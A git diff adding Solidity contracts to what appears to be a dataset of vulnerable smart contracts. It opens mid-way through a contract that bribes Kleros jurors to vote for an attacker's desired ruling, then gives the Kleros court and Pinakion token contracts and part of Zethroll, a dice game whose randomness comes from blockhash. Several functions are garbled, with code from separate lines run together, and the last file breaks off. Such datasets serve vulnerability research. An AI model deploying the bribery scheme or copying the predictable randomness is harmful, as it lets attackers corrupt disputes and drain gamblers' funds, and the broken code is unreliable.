_disputeID, uint _desiredOutcome, uint _epsilon, uint _maxAppeals) public { + pinakion = _pinakion; + court = _kleros; + disputeID = _disputeID; + desiredOutcome = _desiredOutcome; + epsilon = _epsilon; + attacker = msg.sender; + maxAppeals = _maxAppeals; + } + + + function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { + require(pinakion.transferFrom(_from, this, _amount)); + + balance += _amount; + } + + + function withdrawJuror() { + withdrawSelect(msg.sender); + } + + + function withdrawSelect(address _juror) { + uint amount = withdraw[_juror]; + withdraw[_juror] = 0; + + balance = sub(balance, amount); + remainingWithdraw = sub(remainingWithdraw, amount); + + + require(pinakion.transfer(_juror, amount)); + } + + + function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { + assert(_b <= _a); + return _a - _b; + } + + + function withdrawAttacker(){ + require(settled); + + if (balance > remainingWithdraw) { + + uint amount = balance - remainingWithdraw; + balance = remainingWithdraw; + + require(pinakion.transfer(attacker, amount)); + } + } + + + function settle() public { + require(court.disputeStatus(disputeID) == Arbitrator.DisputeStatus.Solved); + require(!settled); + + settled = true; + + + var (, , appeals, choices, , , ,) = court.disputes(disputeID); + + if (court.currentRuling(disputeID) != desiredOutcome){ + + uint amountShift = court.getStakePerDraw(); + uint winningChoice = court.getWinningChoice(disputeID, appeals); + + + for (uint i=0; i <= (appeals > maxAppeals ? maxAppeals : appeals); i++){ + + + + if (winningChoice != 0){ + + + uint votesLen = 0; + for (uint c = 0; c <= choices; c++) { + votesLen += court.getVoteCount(disputeID, i, c); + } + + emit Log(amountShift, 0x0 ,"stakePerDraw"); + emit Log(votesLen, 0x0, "votesLen"); + + uint totalToRedistribute = 0; + uint nbCoherent = 0; + + + for (uint j=0; j < votesLen; j++){ + uint voteRuling = court.getVoteRuling(disputeID, i, j); + address voteAccount = court.getVoteAccount(disputeID, i, j); + + emit Log(voteRuling, voteAccount, "voted"); + + if (voteRuling != winningChoice){ + totalToRedistribute += amountShift; + + if (voteRuling == desiredOutcome){ + + withdraw[voteAccount] += amountShift + epsilon; + remainingWithdraw += amountShift + epsilon; + emit AmountShift(amountShift, epsilon, voteAccount); + } + } else { + nbCoherent++; + } + } + + uint toRedistribute = (totalToRedistribute - amountShift) / (nbCoherent + 1); + + + for (j = 0; j < votesLen; j++){ + voteRuling = court.getVoteRuling(disputeID, i, j); + voteAccount = court.getVoteAccount(disputeID, i, j); + + if (voteRuling == desiredOutcome){ + + withdraw[voteAccount] += toRedistribute; + remainingWithdraw += toRedistribute; + emit AmountShift(toRedistribute, 0, voteAccount); + } + } + } + } + } + } +} + + + +pragma solidity ^0.4.24; + + +contract ApproveAndCallFallBack { + function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; +} + + +contract TokenController { + + + + function proxyPayment(address _owner) public payable returns(bool); + + + + + + + + function onTransfer(address _from, address _to, uint _amount) public returns(bool); + + + + + + + + function onApprove(address _owner, address _spender, uint _amount) public + returns(bool); +} + +contract Controlled { + + + modifier onlyController { require(msg.sender == controller); _; } + + address public controller; + + function Controlled() public { controller = msg.sender;} + + + + function changeController(address _newController) public onlyController { + controller = _newController; + } +} + + + + +contract Pinakion is Controlled { + + string public name; + uint8 public decimals; + string public symbol; + string public version = 'MMT_0.2'; + + + + + + struct Checkpoint { + + + uint128 fromBlock; + + + uint128 value; + } + + + + Pinakion public parentToken; + + + + uint public parentSnapShotBlock; + + + uint public creationBlock; + + + + + mapping (address => Checkpoint[]) balances; + + + mapping (address => mapping (address => uint256)) allowed; + + + Checkpoint[] totalSupplyHistory; + + + bool public transfersEnabled; + + + MiniMeTokenFactory public tokenFactory; + + + + + + + + + + + + + + + + + + + function Pinakion( + address _tokenFactory, + address _parentToken, + uint _parentSnapShotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public { + tokenFactory = MiniMeTokenFactory(_tokenFactory); + name = _tokenName; + decimals = _decimalUnits; + symbol = _tokenSymbol; + parentToken = Pinakion(_parentToken); + parentSnapShotBlock = _parentSnapShotBlock; + transfersEnabled = _transfersEnabled; + creationBlock = block.number; + } + + + + + + + + + + + function transfer(address _to, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + doTransfer(msg.sender, _to, _amount); + return true; + } + + + + + + + + function transferFrom(address _from, address _to, uint256 _amount + ) public returns (bool success) { + + + + + + if (msg.sender != controller) { + require(transfersEnabled); + + + require(allowed[_from][msg.sender] >= _amount); + allowed[_from][msg.sender] -= _amount; + } + doTransfer(_from, _to, _amount); + return true; + } + + + + + + + + function doTransfer(address _from, address _to, uint _amount + ) internal { + + if (_amount == 0) { + Transfer(_from, _to, _amount); + return; + } + + require(parentSnapShotBlock < block.number); + + + require((_to != 0) && (_to != address(this))); + + + + var previousBalanceFrom = balanceOfAt(_from, block.number); + + require(previousBalanceFrom >= _amount); + + + if (isContract(controller)) { + require(TokenController(controller).onTransfer(_from, _to, _amount)); + } + + + + updateValueAtNow(balances[_from], previousBalanceFrom - _amount); + + + + var previousBalanceTo = balanceOfAt(_to, block.number); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(balances[_to], previousBalanceTo + _amount); + + + Transfer(_from, _to, _amount); + + } + + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balanceOfAt(_owner, block.number); + } + + + + + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + + + if (isContract(controller)) { + require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); + } + + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + + + + + + function allowance(address _owner, address _spender + ) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + + + + + + + function approveAndCall(address _spender, uint256 _amount, bytes _extraData + ) public returns (bool success) { + require(approve(_spender, _amount)); + + ApproveAndCallFallBack(_spender).receiveApproval( + msg.sender, + _amount, + this, + _extraData + ); + + return true; + } + + + + function totalSupply() public constant returns (uint) { + return totalSupplyAt(block.number); + } + + + + + + + + + + + function balanceOfAt(address _owner, uint _blockNumber) public constant + returns (uint) { + + + + + + + if ((balances[_owner].length == 0) + || (balances[_owner][0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); + } else { + + return 0; + } + + + } else { + return getValueAt(balances[_owner], _blockNumber); + } + } + + + + + function totalSupplyAt(uint _blockNumber) public constant returns(uint) { + + + + + + + if ((totalSupplyHistory.length == 0) + || (totalSupplyHistory[0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); + } else { + return 0; + } + + + } else { + return getValueAt(totalSupplyHistory, _blockNumber); + } + } + + + + + + + + + + + + + + + + function createCloneToken( + string _cloneTokenName, + uint8 _cloneDecimalUnits, + string _cloneTokenSymbol, + uint _snapshotBlock, + bool _transfersEnabled + ) public returns(address) { + if (_snapshotBlock == 0) _snapshotBlock = block.number; + Pinakion cloneToken = tokenFactory.createCloneToken( + this, + _snapshotBlock, + _cloneTokenName, + _cloneDecimalUnits, + _cloneTokenSymbol, + _transfersEnabled + ); + + cloneToken.changeController(msg.sender); + + + NewCloneToken(address(cloneToken), _snapshotBlock); + return address(cloneToken); + } + + + + + + + + + + function generateTokens(address _owner, uint _amount + ) public onlyController returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply + _amount >= curTotalSupply); + uint previousBalanceTo = balanceOf(_owner); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); + updateValueAtNow(balances[_owner], previousBalanceTo + _amount); + Transfer(0, _owner, _amount); + return true; + } + + + + + + + function destroyTokens(address _owner, uint _amount + ) onlyController public returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply >= _amount); + uint previousBalanceFrom = balanceOf(_owner); + require(previousBalanceFrom >= _amount); + updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); + updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); + Transfer(_owner, 0, _amount); + return true; + } + + + + + + + + + function enableTransfers(bool _transfersEnabled) public onlyController { + transfersEnabled = _transfersEnabled; + } + + + + + + + + + + function getValueAt(Checkpoint[] storage checkpoints, uint _block + ) constant internal returns (uint) { + if (checkpoints.length == 0) return 0; + + + if (_block >= checkpoints[checkpoints.length-1].fromBlock) + return checkpoints[checkpoints.length-1].value; + if (_block < checkpoints[0].fromBlock) return 0; + + + uint min = 0; + uint max = checkpoints.length-1; + while (max > min) { + uint mid = (max + min + 1)/ 2; + if (checkpoints[mid].fromBlock<=_block) { + min = mid; + } else { + max = mid-1; + } + } + return checkpoints[min].value; + } + + + + + + function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value + ) internal { + if ((checkpoints.length == 0) + || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { + Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; + newCheckPoint.fromBlock = uint128(block.number); + newCheckPoint.value = uint128(_value); + } else { + Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; + oldCheckPoint.value = uint128(_value); + } + } + + + + + function isContract(address _addr) constant internal returns(bool) { + uint size; + if (_addr == 0) return false; + assembly { + size := extcodesize(_addr) + } + return size>0; + } + + + function min(uint a, uint b) pure internal returns (uint) { + return a < b ? a : b; + } + + + + + function () public payable { + require(isContract(controller)); + require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); + } + + + + + + + + + + function claimTokens(address _token) public onlyController { + if (_token == 0x0) { + controller.transfer(this.balance); + return; + } + + Pinakion token = Pinakion(_token); + uint balance = token.balanceOf(this); + token.transfer(controller, balance); + ClaimedTokens(_token, controller, balance); + } + + + + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _amount + ); + +} + + + + + + + + + +contract MiniMeTokenFactory { + + + + + + + + + + + + function createCloneToken( + address _parentToken, + uint _snapshotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public returns (Pinakion) { + Pinakion newToken = new Pinakion( + this, + _parentToken, + _snapshotBlock, + _tokenName, + _decimalUnits, + _tokenSymbol, + _transfersEnabled + ); + + newToken.changeController(msg.sender); + return newToken; + } +} + +contract RNG{ + + + function contribute(uint _block) public payable; + + + function requestRN(uint _block) public payable { + contribute(_block); + } + + + function getRN(uint _block) public returns (uint RN); + + + function getUncorrelatedRN(uint _block) public returns (uint RN) { + uint baseRN=getRN(_block); + if (baseRN==0) + return 0; + else + return uint(keccak256(msg.sender,baseRN)); + } + + } + + +contract BlockHashRNG is RNG { + + mapping (uint => uint) public randomNumber; + mapping (uint => uint) public reward; + + + + + function contribute(uint _block) public payable { reward[_block]+=msg.value; } + + + + function getRN(uint _block) public returns (uint RN) { + RN=randomNumber[_block]; + if (RN==0){ + saveRN(_block); + return randomNumber[_block]; + } + else + return RN; + } + + + function saveRN(uint _block) public { + if (blockhash(_block) != 0x0) + randomNumber[_block] = uint(blockhash(_block)); + if (randomNumber[_block] != 0) { + uint rewardToSend = reward[_block]; + reward[_block] = 0; + msg.sender.send(rewardToSend); + } + } + +} + + + +contract BlockHashRNGFallback is BlockHashRNG { + + + function saveRN(uint _block) public { + if (_block=arbitrationCost(_extraData)); _;} + modifier requireAppealFee(uint _disputeID, bytes _extraData) {require(msg.value>=appealCost(_disputeID, _extraData)); _;} + + + event AppealPossible(uint _disputeID); + + + event DisputeCreation(uint indexed _disputeID, Arbitrable _arbitrable); + + + event AppealDecision(uint indexed _disputeID, Arbitrable _arbitrable); + + + function createDispute(uint _choices, bytes _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {} + + + function arbitrationCost(bytes _extraData) public constant returns(uint fee); + + + function appeal(uint _disputeID, bytes _extraData) public requireAppealFee(_disputeID,_extraData) payable { + emit AppealDecision(_disputeID, Arbitrable(msg.sender)); + } + + + function appealCost(uint _disputeID, bytes _extraData) public constant returns(uint fee); + + + function disputeStatus(uint _disputeID) public constant returns(DisputeStatus status); + + + function currentRuling(uint _disputeID) public constant returns(uint ruling); + +} + + + +contract Kleros is Arbitrator, ApproveAndCallFallBack { + + + + + + + Pinakion public pinakion; + uint public constant NON_PAYABLE_AMOUNT = (2**256 - 2) / 2; + + + + RNG public rng; + uint public arbitrationFeePerJuror = 0.05 ether; + uint16 public defaultNumberJuror = 3; + uint public minActivatedToken = 0.1 * 1e18; + uint[5] public timePerPeriod; + uint public alpha = 2000; + uint constant ALPHA_DIVISOR = 1e4; + uint public maxAppeals = 5; + + + address public governor; + + + uint public session = 1; + uint public lastPeriodChange; + uint public segmentSize; + uint public rnBlock; + uint public randomNumber; + + enum Period { + Activation, + Draw, + Vote, + Appeal, + Execution + } + + Period public period; + + struct Juror { + uint balance; + uint atStake; + uint lastSession; + uint segmentStart; + uint segmentEnd; + } + + mapping (address => Juror) public jurors; + + struct Vote { + address account; + uint ruling; + } + + struct VoteCounter { + uint winningChoice; + uint winningCount; + mapping (uint => uint) voteCount; + } + + enum DisputeState { + Open, + Resolving, + Executable, + Executed + } + + struct Dispute { + Arbitrable arbitrated; + uint session; + uint appeals; + uint choices; + uint16 initialNumberJurors; + uint arbitrationFeePerJuror; + DisputeState state; + Vote[][] votes; + VoteCounter[] voteCounter; + mapping (address => uint) lastSessionVote; + uint currentAppealToRepartition; + AppealsRepartitioned[] appealsRepartitioned; + } + + enum RepartitionStage { + Incoherent, + Coherent, + AtStake, + Complete + } + + struct AppealsRepartitioned { + uint totalToRedistribute; + uint nbCoherent; + uint currentIncoherentVote; + uint currentCoherentVote; + uint currentAtStakeVote; + RepartitionStage stage; + } + + Dispute[] public disputes; + + + + + + + event NewPeriod(Period _period, uint indexed _session); + + + event TokenShift(address indexed _account, uint _disputeID, int _amount); + + + event ArbitrationReward(address indexed _account, uint _disputeID, uint _amount); + + + + + modifier onlyBy(address _account) {require(msg.sender == _account); _;} + modifier onlyDuring(Period _period) {require(period == _period); _;} + modifier onlyGovernor() {require(msg.sender == governor); _;} + + + + constructor(Pinakion _pinakion, RNG _rng, uint[5] _timePerPeriod, address _governor) public { + pinakion = _pinakion; + rng = _rng; + lastPeriodChange = now; + timePerPeriod = _timePerPeriod; + governor = _governor; + } + + + + + + + + function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { + require(pinakion.transferFrom(_from, this, _amount)); + + jurors[_from].balance += _amount; + } + + + function withdraw(uint _value) public { + Juror storage juror = jurors[msg.sender]; + require(juror.atStake <= juror.balance); + require(_value <= juror.balance-juror.atStake); + require(juror.lastSession != session); + + juror.balance -= _value; + require(pinakion.transfer(msg.sender,_value)); + } + + + + + + + + function passPeriod() public { + require(now-lastPeriodChange >= timePerPeriod[uint8(period)]); + + if (period == Period.Activation) { + rnBlock = block.number + 1; + rng.requestRN(rnBlock); + period = Period.Draw; + } else if (period == Period.Draw) { + randomNumber = rng.getUncorrelatedRN(rnBlock); + require(randomNumber != 0); + period = Period.Vote; + } else if (period == Period.Vote) { + period = Period.Appeal; + } else if (period == Period.Appeal) { + period = Period.Execution; + } else if (period == Period.Execution) { + period = Period.Activation; + ++session; + segmentSize = 0; + rnBlock = 0; + randomNumber = 0; + } + + + lastPeriodChange = now; + NewPeriod(period, session); + } + + + + function activateTokens(uint _value) public onlyDuring(Period.Activation) { + Juror storage juror = jurors[msg.sender]; + require(_value <= juror.balance); + require(_value >= minActivatedToken); + require(juror.lastSession != session); + + juror.lastSession = session; + juror.segmentStart = segmentSize; + segmentSize += _value; + juror.segmentEnd = segmentSize; + + } + + + function voteRuling(uint _disputeID, uint _ruling, uint[] _draws) public onlyDuring(Period.Vote) { + Dispute storage dispute = disputes[_disputeID]; + Juror storage juror = jurors[msg.sender]; + VoteCounter storage voteCounter = dispute.voteCounter[dispute.appeals]; + require(dispute.lastSessionVote[msg.sender] != session); + require(_ruling <= dispute.choices); + + require(validDraws(msg.sender, _disputeID, _draws)); + + dispute.lastSessionVote[msg.sender] = session; + voteCounter.voteCount[_ruling] += _draws.length; + if (voteCounter.winningCount < voteCounter.voteCount[_ruling]) { + voteCounter.winningCount = voteCounter.voteCount[_ruling]; + voteCounter.winningChoice = _ruling; + } else if (voteCounter.winningCount==voteCounter.voteCount[_ruling] && _draws.length!=0) { + voteCounter.winningChoice = 0; + } + for (uint i = 0; i < _draws.length; ++i) { + dispute.votes[dispute.appeals].push(Vote({ + account: msg.sender, + ruling: _ruling + })); + } + + juror.atStake += _draws.length * getStakePerDraw(); + uint feeToPay = _draws.length * dispute.arbitrationFeePerJuror; + msg.sender.transfer(feeToPay); + ArbitrationReward(msg.sender, _disputeID, feeToPay); + } + + + function penalizeInactiveJuror(address _jurorAddress, uint _disputeID, uint[] _draws) public { + Dispute storage dispute = disputes[_disputeID]; + Juror storage inactiveJuror = jurors[_jurorAddress]; + require(period > Period.Vote); + require(dispute.lastSessionVote[_jurorAddress] != session); + dispute.lastSessionVote[_jurorAddress] = session; + require(validDraws(_jurorAddress, _disputeID, _draws)); + uint penality = _draws.length * minActivatedToken * 2 * alpha / ALPHA_DIVISOR; + penality = (penality < inactiveJuror.balance) ? penality : inactiveJuror.balance; + inactiveJuror.balance -= penality; + TokenShift(_jurorAddress, _disputeID, -int(penality)); + jurors[msg.sender].balance += penality / 2; + TokenShift(msg.sender, _disputeID, int(penality / 2)); + jurors[governor].balance += penality / 2; + TokenShift(governor, _disputeID, int(penality / 2)); + msg.sender.transfer(_draws.length*dispute.arbitrationFeePerJuror); + } + + + function oneShotTokenRepartition(uint _disputeID) public onlyDuring(Period.Execution) { + Dispute storage dispute = disputes[_disputeID]; + require(dispute.state == DisputeState.Open); + require(dispute.session+dispute.appeals <= session); + + uint winningChoice = dispute.voteCounter[dispute.appeals].winningChoice; + uint amountShift = getStakePerDraw(); + for (uint i = 0; i <= dispute.appeals; ++i) { + + + + if (winningChoice!=0 || (dispute.voteCounter[dispute.appeals].voteCount[0] == dispute.voteCounter[dispute.appeals].winningCount)) { + uint totalToRedistribute = 0; + uint nbCoherent = 0; + + for (uint j = 0; j < dispute.votes[i].length; ++j) { + Vote storage vote = dispute.votes[i][j]; + if (vote.ruling != winningChoice) { + Juror storage juror = jurors[vote.account]; + uint penalty = amountShift= _maxIterations) { + return; + } + Vote storage vote = dispute.votes[i][j]; + if (vote.ruling != winningChoice) { + Juror storage juror = jurors[vote.account]; + uint penalty = amountShift= _maxIterations) { + return; + } + vote = dispute.votes[i][j]; + if (vote.ruling == winningChoice) { + juror = jurors[vote.account]; + juror.balance += toRedistribute; + TokenShift(vote.account, _disputeID, int(toRedistribute)); + } + + ++currentIterations; + ++dispute.appealsRepartitioned[i].currentCoherentVote; + } + + dispute.appealsRepartitioned[i].stage = RepartitionStage.AtStake; + } + } + + if (dispute.appealsRepartitioned[i].stage == RepartitionStage.AtStake) { + + for (j = dispute.appealsRepartitioned[i].currentAtStakeVote; j < dispute.votes[i].length; ++j) { + if (currentIterations >= _maxIterations) { + return; + } + vote = dispute.votes[i][j]; + juror = jurors[vote.account]; + juror.atStake -= amountShift; + + ++currentIterations; + ++dispute.appealsRepartitioned[i].currentAtStakeVote; + } + + dispute.appealsRepartitioned[i].stage = RepartitionStage.Complete; + } + + if (dispute.appealsRepartitioned[i].stage == RepartitionStage.Complete) { + ++dispute.currentAppealToRepartition; + } + } + + dispute.state = DisputeState.Executable; + } + + + + + + + + function amountJurors(uint _disputeID) public view returns (uint nbJurors) { + Dispute storage dispute = disputes[_disputeID]; + return (dispute.initialNumberJurors + 1) * 2**dispute.appeals - 1; + } + + + function validDraws(address _jurorAddress, uint _disputeID, uint[] _draws) public view returns (bool valid) { + uint draw = 0; + Juror storage juror = jurors[_jurorAddress]; + Dispute storage dispute = disputes[_disputeID]; + uint nbJurors = amountJurors(_disputeID); + + if (juror.lastSession != session) return false; + if (dispute.session+dispute.appeals != session) return false; + if (period <= Period.Draw) return false; + for (uint i = 0; i < _draws.length; ++i) { + if (_draws[i] <= draw) return false; + draw = _draws[i]; + if (draw > nbJurors) return false; + uint position = uint(keccak256(randomNumber, _disputeID, draw)) % segmentSize; + require(position >= juror.segmentStart); + require(position < juror.segmentEnd); + } + + return true; + } + + + + + + + + function createDispute(uint _choices, bytes _extraData) public payable returns (uint disputeID) { + uint16 nbJurors = extraDataToNbJurors(_extraData); + require(msg.value >= arbitrationCost(_extraData)); + + disputeID = disputes.length++; + Dispute storage dispute = disputes[disputeID]; + dispute.arbitrated = Arbitrable(msg.sender); + if (period < Period.Draw) + dispute.session = session; + else + dispute.session = session+1; + dispute.choices = _choices; + dispute.initialNumberJurors = nbJurors; + dispute.arbitrationFeePerJuror = arbitrationFeePerJuror; + dispute.votes.length++; + dispute.voteCounter.length++; + + DisputeCreation(disputeID, Arbitrable(msg.sender)); + return disputeID; + } + + + function appeal(uint _disputeID, bytes _extraData) public payable onlyDuring(Period.Appeal) { + super.appeal(_disputeID,_extraData); + Dispute storage dispute = disputes[_disputeID]; + require(msg.value >= appealCost(_disputeID, _extraData)); + require(dispute.session+dispute.appeals == session); + require(dispute.arbitrated == msg.sender); + + dispute.appeals++; + dispute.votes.length++; + dispute.voteCounter.length++; + } + + + function executeRuling(uint disputeID) public { + Dispute storage dispute = disputes[disputeID]; + require(dispute.state == DisputeState.Executable); + + dispute.state = DisputeState.Executed; + dispute.arbitrated.rule(disputeID, dispute.voteCounter[dispute.appeals].winningChoice); + } + + + + + + + + function arbitrationCost(bytes _extraData) public view returns (uint fee) { + return extraDataToNbJurors(_extraData) * arbitrationFeePerJuror; + } + + + function appealCost(uint _disputeID, bytes _extraData) public view returns (uint fee) { + Dispute storage dispute = disputes[_disputeID]; + + if(dispute.appeals >= maxAppeals) return NON_PAYABLE_AMOUNT; + + return (2*amountJurors(_disputeID) + 1) * dispute.arbitrationFeePerJuror; + } + + + function extraDataToNbJurors(bytes _extraData) internal view returns (uint16 nbJurors) { + if (_extraData.length < 2) + return defaultNumberJuror; + else + return (uint16(_extraData[0]) << 8) + uint16(_extraData[1]); + } + + + function getStakePerDraw() public view returns (uint minActivatedTokenInAlpha) { + return (alpha * minActivatedToken) / ALPHA_DIVISOR; + } + + + + + + + + function getVoteAccount(uint _disputeID, uint _appeals, uint _voteID) public view returns (address account) { + return disputes[_disputeID].votes[_appeals][_voteID].account; + } + + + function getVoteRuling(uint _disputeID, uint _appeals, uint _voteID) public view returns (uint ruling) { + return disputes[_disputeID].votes[_appeals][_voteID].ruling; + } + + + function getWinningChoice(uint _disputeID, uint _appeals) public view returns (uint winningChoice) { + return disputes[_disputeID].voteCounter[_appeals].winningChoice; + } + + + function getWinningCount(uint _disputeID, uint _appeals) public view returns (uint winningCount) { + return disputes[_disputeID].voteCounter[_appeals].winningCount; + } + + + function getVoteCount(uint _disputeID, uint _appeals, uint _choice) public view returns (uint voteCount) { + return disputes[_disputeID].voteCounter[_appeals].voteCount[_choice]; + } + + + function getLastSessionVote(uint _disputeID, address _juror) public view returns (uint lastSessionVote) { + return disputes[_disputeID].lastSessionVote[_juror]; + } + + + function isDrawn(uint _disputeID, address _juror, uint _draw) public view returns (bool drawn) { + Dispute storage dispute = disputes[_disputeID]; + Juror storage juror = jurors[_juror]; + if (juror.lastSession != session + || (dispute.session+dispute.appeals != session) + || period<=Period.Draw + || _draw>amountJurors(_disputeID) + || _draw==0 + || segmentSize==0 + ) { + return false; + } else { + uint position = uint(keccak256(randomNumber,_disputeID,_draw)) % segmentSize; + return (position >= juror.segmentStart) && (position < juror.segmentEnd); + } + + } + + + function currentRuling(uint _disputeID) public view returns (uint ruling) { + Dispute storage dispute = disputes[_disputeID]; + return dispute.voteCounter[dispute.appeals].winningChoice; + } + + + function disputeStatus(uint _disputeID) public view returns (DisputeStatus status) { + Dispute storage dispute = disputes[_disputeID]; + if (dispute.session+dispute.appeals < session) + return DisputeStatus.Solved; + else if(dispute.session+dispute.appeals == session) { + if (dispute.state == DisputeState.Open) { + if (period < Period.Appeal) + return DisputeStatus.Waiting; + else if (period == Period.Appeal) + return DisputeStatus.Appealable; + else return DisputeStatus.Solved; + } else return DisputeStatus.Solved; + } else return DisputeStatus.Waiting; + } + + + + + + + function executeOrder(bytes32 _data, uint _value, address _target) public onlyGovernor { + _target.call.value(_value)(_data); + } + + + function setRng(RNG _rng) public onlyGovernor { + rng = _rng; + } + + + function setArbitrationFeePerJuror(uint _arbitrationFeePerJuror) public onlyGovernor { + arbitrationFeePerJuror = _arbitrationFeePerJuror; + } + + + function setDefaultNumberJuror(uint16 _defaultNumberJuror) public onlyGovernor { + defaultNumberJuror = _defaultNumberJuror; + } + + + function setMinActivatedToken(uint _minActivatedToken) public onlyGovernor { + minActivatedToken = _minActivatedToken; + } + + + function setTimePerPeriod(uint[5] _timePerPeriod) public onlyGovernor { + timePerPeriod = _timePerPeriod; + } + + + function setAlpha(uint _alpha) public onlyGovernor { + alpha = _alpha; + } + + + function setMaxAppeals(uint _maxAppeals) public onlyGovernor { + maxAppeals = _maxAppeals; + } + + + function setGovernor(address _governor) public onlyGovernor { + governor = _governor; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2584.sol b/smart_contract_dataset/block number dependency/2584.sol new file mode 100644 index 0000000000000000000000000000000000000000..4a94512bb09b8da33199cb919996666b6119477e --- /dev/null +++ b/smart_contract_dataset/block number dependency/2584.sol @@ -0,0 +1,402 @@ +pragma solidity ^0.4.23; + + + +contract ZTHReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + + +contract ZTHInterface { + function getFrontEndTokenBalanceOf(address who) public view returns (uint); + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zethroll is ZTHReceivingContract { + using SafeMath for uint; + + + + modifier betIsValid(uint _betSize, uint _playerNumber) { + require( calculateProfit(_betSize, _playerNumber) < maxProfit + && _betSize >= minBet + && _playerNumber > minNumber + && _playerNumber < maxNumber); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + uint constant private MAX_INT = 2 ** 256 - 1; + uint constant public maxProfitDivisor = 1000000; + uint constant public maxNumber = 99; + uint constant public minNumber = 2; + uint constant public houseEdgeDivisor = 1000; + + + bool public gamePaused; + + address public owner; + address public ZethrBankroll; + address public ZTHTKNADDR; + + ZTHInterface public ZTHTKN; + + uint public contractBalance; + uint public houseEdge; + uint public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 0; + + + uint public totalBets; + uint public totalZTHWagered; + + + + + event LogBet(address sender, uint value, uint rollUnder); + + + + event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); + + + event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); + + + event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); + + + event CurrentContractBalance(uint _tokens); + + constructor (address zthtknaddr, address zthbankrolladdr) public { + + owner = msg.sender; + + + ZTHTKN = ZTHInterface(zthtknaddr); + ZTHTKNADDR = zthtknaddr; + + + ZethrBankroll = zthbankrolladdr; + + + houseEdge = 990; + + + ownerSetMaxProfitAsPercentOfHouse(10000); + + + ownerSetMinBet(1e18); + + + ZTHTKN.approve(zthbankrolladdr, MAX_INT); + } + + function() public payable {} + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function calculateProfit(uint _initBet, uint _roll) + private + view + returns (uint) + { + return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; + } + + + struct playerRoll{ + uint200 tokenValue; + uint48 blockn; + uint8 rollUnder; + } + + + mapping(address => playerRoll) public playerRolls; + + function _playerRollDice(uint _rollUnder, TKN _tkn) private + gameIsActive + betIsValid(_tkn.value, _rollUnder) + { + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + + + + + require(_zthToken(msg.sender)); + + playerRoll memory roll = playerRolls[_tkn.sender]; + + + require(block.number != roll.blockn); + + + if (roll.blockn != 0) { + _finishBet(false, _tkn.sender); + } + + + roll.blockn = uint48(block.number); + roll.tokenValue = uint200(_tkn.value); + roll.rollUnder = uint8(_rollUnder); + + + playerRolls[_tkn.sender] = roll; + + + emit LogBet(_tkn.sender, _tkn.value, _rollUnder); + + + totalBets += 1; + + + totalZTHWagered += _tkn.value; + } + + + function finishBet() public + gameIsActive + returns (uint) + { + return _finishBet(true, msg.sender); + } + + + function _finishBet(bool delete_it, address target) private returns (uint){ + playerRoll memory roll = playerRolls[target]; + require(roll.tokenValue > 0); + require(roll.blockn != block.number); + + + uint result; + if (block.number - roll.blockn > 255) { + result = 1000; + } else { + + result = random(99, roll.blockn, target) + 1; + } + + uint rollUnder = roll.rollUnder; + + if (result < rollUnder) { + + + + uint profit = calculateProfit(roll.tokenValue, rollUnder); + + if (profit > maxProfit){ + profit = maxProfit; + } + + + contractBalance = contractBalance.sub(profit); + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); + + + setMaxProfit(); + + + + delete playerRolls[target]; + + + + ZTHTKN.transfer(target, profit + roll.tokenValue); + + return result; + + } else { + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); + + + contractBalance = contractBalance.add(roll.tokenValue); + + + + + + setMaxProfit(); + 